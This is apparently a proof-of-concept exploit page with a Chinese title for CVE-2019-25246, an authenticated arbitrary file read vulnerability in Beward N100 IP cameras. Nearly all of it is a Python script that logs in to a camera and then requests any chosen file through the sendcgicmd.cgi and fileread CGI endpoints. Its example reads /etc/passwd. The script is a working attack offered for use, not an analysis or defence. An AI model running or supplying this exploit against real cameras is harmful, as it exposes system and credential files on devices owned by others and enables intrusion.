CVE-2019-25246 Beward N100 IP Camera 认证后任意文件读取漏洞

#!/usr/bin/env python3 """ CVE-2019-25246 PoC - Beward N100 IP Camera Authenticated File Read Usage: python3 poc.py <target_ip> <username> <password> <file_path> Example: python3 poc.py 192.168.1.100 admin admin /etc/passwd """ import requests import sys import base64 def exploit_cve_2019_25246(target_ip, username, password, file_path): """ Exploit for authenticated arbitrary file read vulnerability via SendCGICMD API or fileread script """ base_url = f"http://{target_ip}" # Authentication login_url = f"{base_url}/cgi-bin/login.cgi" login_data = { "username": username, "password": password } print(f"[*] Authenticating to {target_ip}...") session = requests.Session() response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Method 1: Using SendCGICMD API cgi_url = f"{base_url}/cgi-bin/sendcgicmd.cgi" exploit_data = { "READ.filePath": file_path } print(f"[*] Attempting to read file: {file_path}") response = session.post(cgi_url, data=exploit_data) if response.status_code == 200 and response.text: print("[+] File content retrieved:") print(response.text) return response.text # Method 2: Alternative using fileread script fileread_url = f"{base_url}/cgi-bin/fileread" params = { "filePath": file_path } response = session.get(fileread_url, params=params) if response.status_code == 200 and response.text: print("[+] File content retrieved via fileread:") print(response.text) return response.text print("[-] Failed to retrieve file content") return None if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> <file_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] filepath = sys.argv[4] exploit_cve_2019_25246(target, user, pwd, filepath)